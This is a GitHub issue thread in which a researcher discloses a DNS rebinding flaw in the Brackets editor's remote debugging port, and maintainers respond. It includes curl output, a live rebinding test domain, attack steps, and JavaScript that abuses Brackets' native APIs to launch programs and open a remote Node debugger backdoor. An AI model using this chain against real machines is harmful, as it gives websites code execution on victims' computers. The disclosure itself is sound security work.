New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CEF remote debugging is vulnerable to dns rebinding attack #14149

Closed
ChiChou opened this Issue Mar 9, 2018 · 6 comments

Comments

Projects
None yet
3 participants
@ChiChou

ChiChou commented Mar 9, 2018

Prerequisites

  • Can you reproduce the problem with Debug -> Reload Without Extensions?
  • Did you perform a cursory search to see if your bug or enhancement is already reported?
  • Did you read the [Troubleshooting guide]

Description

Brackets listen on port 9234 to enable CEF remote debug, which based on DevTool protocol:

$ curl -v localhost:9234/json
*   Trying ::1...
* TCP_NODELAY set
* Connection failed
* connect to ::1 port 9234 failed: Connection refused
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 9234 (#0)
> GET /json HTTP/1.1
> Host: localhost:9234
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length:449
< Content-Type:application/json; charset=UTF-8
<
[ {
   "description": "",
   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9234/devtools/page/7322EE79-950D-45F3-A07B-E1C1549C4D29",
   "id": "7322EE79-950D-45F3-A07B-E1C1549C4D29",
   "title": "index.html (Getting Started) — Brackets",
   "type": "page",
   "url": "file:///Applications/Brackets.app/Contents/www/index.html",
   "webSocketDebuggerUrl": "ws://localhost:9234/devtools/page/7322EE79-950D-45F3-A07B-E1C1549C4D29"
} ]
* Connection #0 to host localhost left intact

The webSocketDebuggerUrl can be access from other domains, but we need to get the id first which does not support CORS.

@taviso has recently published some bugs that exploit dns-rebinding to bypass same origin policy and interact with http servers on localhost. I set up a dns-rebinding attack domain and test page based on his work: http://2d201a44.7f000001.rbndr.us:9234

Now the attacker is able to manipulate Bracket's frontend. But I can't directly evaluate javascript in the context with Runtime.Evaluate command, which I believe is a bug from Chromium: https://bugs.chromium.org/p/chromedriver/issues/detail?id=1238

Luckily DOM manipulation still work. So I use DOM.setOuterHTML to add my scripts.

In this javascript context, I am able to abuse some global object like brackets.fs and brackets.app to archive native code execution. Now the evil website can compromise users' computer if brackets is running.

function calc() {
  // use brackets.fs to write your own executable
  // makedir, writeFile, chmod are your friends

  if (brackets.app.getUserDocumentsDirectory().indexOf('/') === 0) {
    brackets.app.showOSFolder('/Applications/Calculator.app');
  } else {
    brackets.app.openURLInDefaultBrowser('file:///C:/windows/system32/calc.exe');
  }

  // Note that brackets.getModule is also available. We can even active the previous mentioned node debugger backdoor
  const NodeConnection = brackets.getModule("utils/NodeConnection");
  const conn = new NodeConnection();
  conn.connect(true);
  conn.domains.base.enableDebugger(); // enable *:5858 as a backdoor, which accepts connection from another computer. Just attach it with VSCode or other debugger to execute node.js code
}

Steps to Reproduce

  1. Setup an evil domain that resolves between exploit server ip and 127.0.0.1
  2. Publish the exploit to http://evildomain:9234
  3. Victim open this page and wait for few minutes

Reproduced on macOS High Sierra 10.13.3 (17D102) and Safari Version 11.0.3 (13604.5.6). Will also work on Windows and other modern browsers.

Expected behavior:

The page prints the WebSocket debugger url and Calculator app shows up, which means native code execution.

Actual behavior:

The first time victim open the page it resolves to attacker's server. After few minutes the TTL has expired and the page is able to bypass same origin policy, and the WebSocket url is read. Use DevTools protocol to inject arbitrary javascript to Brackets. Abuse the native api to execute system command.

Versions

  • macOS High Sierra 10.13.3 (17D102)
  • Brackets Release 1.12 build 1.12.0-17621 (release d3b783b) build timestamp: Thu Feb 01 2018 03:32:03 GMT-0800
@nethip

This comment has been minimized.

Contributor

nethip commented Mar 10, 2018

Thanks for reporting @ChiChou! We will have a look at it.

@nethip

This comment has been minimized.

Contributor

nethip commented Apr 12, 2018

@ChiChou I am currently looking at this. I am not able to replicate the behavior. Tried setting up a domain with port configured to 9234 but the the fetch fails everytime. I waited for couple of hours to see if fetch is successful but that never happened. Can you help me with any specific steps I need to follow while setting up an HTTP server with port configured to 9234?

Note: I have setup a sample HTTP server with port configured to 9234, and accessing the same in the browser using direct IP.

@ChiChou

This comment has been minimized.

ChiChou commented Apr 12, 2018

@nethip

I've already setup the domain here:
http://2d201a44.7f000001.rbndr.us:9234

The dns server needs to response different ip addresses on each request: 127.0.0.1 and the attacker ip

VSCode (actually all electron based app) and node.js also suffers from this sort of attack, and they have already fixed this:

@ChiChou

This comment has been minimized.

ChiChou commented Apr 12, 2018

https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V8.md

Fix for inspector DNS rebinding vulnerability (CVE-2018-7160): A malicious website could use a DNS rebinding attack to trick a web browser to bypass same-origin-policy checks and allow HTTP connections to localhost or to hosts on the local network, potentially to an open inspector port as a debugger, therefore gaining full code execution access. The inspector now only allows connections that have a browser Host value of localhost or localhost6.

The node.js patch:

nodejs/node@bc690e9

@nethip

This comment has been minimized.

Contributor

nethip commented Apr 13, 2018

I would like to start a conversation with you regarding this. Can you send a mail to prashant at adobe dot com.

@ChiChou

This comment has been minimized.

ChiChou commented May 28, 2018

🍻Good Job

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment